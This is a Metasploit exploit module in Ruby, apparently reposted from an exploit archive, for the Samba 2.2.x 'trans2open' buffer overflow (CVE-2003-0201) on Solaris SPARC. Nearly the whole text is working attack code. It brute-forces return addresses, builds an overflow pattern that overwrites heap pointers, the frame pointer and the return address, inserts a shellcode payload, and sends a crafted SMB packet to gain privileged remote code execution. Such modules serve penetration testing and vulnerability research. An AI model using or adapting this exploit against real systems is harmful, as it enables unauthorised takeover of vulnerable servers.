Samba 2.2.8 (Solaris SPARC) – ‘trans2open’ Remote Overflow (Metasploit)
## # $Id: trans2open.rb 9571 2010-06-21 16:53:52Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SMB include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'Samba trans2open Overflow (Solaris SPARC)', 'Description' => %q{ This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of exploiting the flaw on Solaris SPARC systems that do not have the noexec stack option set. Big thanks to MC and valsmith for resolving a problem with the beta version of this module. }, 'Author' => [ 'hdm', 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9571 $', 'References' => [ [ 'CVE', '2003-0201' ], [ 'OSVDB', '4469' ], [ 'BID', '7294' ], [ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ] ], 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'MinNops' => 512, }, 'Platform' => 'solaris', 'Targets' => [ [ 'Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce', { 'PtrToNonZero' => 0xffbffffc, # near the bottom of the stack 'Offset' => 1103, 'Bruteforce' => { 'Start' => { 'Ret' => 0xffbffaf0 }, 'Stop' => { 'Ret' => 0xffbfa000 }, 'Step' => 128 } } ], [ 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce', { 'PtrToNonZero' => 0xffbefffc, # near the bottom of the stack 'Offset' => 1103, 'Bruteforce' => { 'Start' => { 'Ret' => 0xffbefaf0 }, 'Stop' => { 'Ret' => 0xffbea000 }, 'Step' => 128 } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 7 2003' )) register_options( [ Opt::RPORT(139) ], self.class) end def brute_exploit(addrs) curr_ret = addrs['Ret'] begin print_status("Trying return address 0x%.8x..." % curr_ret) connect smb_login # # The obstacle course: # outsize = smb_messages[type].fn(conn, inbuf,outbuf,size,bufsize); # smb_dump(smb_fn_name(type), 0, outbuf, outsize); # return(outsize); # # This value *must* be 1988 to allow findrecv shellcode to work pattern = rand_text_english(1988) # # This was tested against sunfreeware samba 2.2.7a / solaris 9 / sun4u # # Patch the overwritten heap pointers # substr($pattern, 1159, 4, pack('N', $target->[4])); # substr($pattern, 1163, 4, pack('N', $target->[4])); # # >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0 # substr($pattern, 1195, 4, pack('N', 0xffffffff)); # # Fix the frame pointer (need to check for null in address) # substr($pattern, 1243, 4, pack('N', $target->[3]-64)); # # Finally set the return address # substr($pattern, 1247, 4, pack('N', $curr_ret)); # # # This method is more reliable against a wider range of targets # off = target['Offset'] ptr_to_non_zero = target['PtrToNonZero'] # Local variable pointer patches for early versions of 2.2.x pattern[off, 36] = [ptr_to_non_zero - 1024].pack('N') * 9 off += 36 # Overwrite heap pointers with a ptr to NULL at the top of the stack pattern[off, 40] = [ptr_to_non_zero - 1024].pack('N') * 10 off += 40 # Patch the type index into the smb_messages[] array... # >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0 pattern[off, 20] = [0xffffffff].pack('N') * 5 off += 20 # This stream covers the framepointer and the return address pattern[off, 400] = [curr_ret].pack('N') * 100 # Stuff the shellcode into the request pattern[3, payload.encoded.length] = payload.encoded trans = "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+ "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+ pattern sock.put(trans) handler disconnect rescue EOFError rescue => e print_error("#{e}") end end end |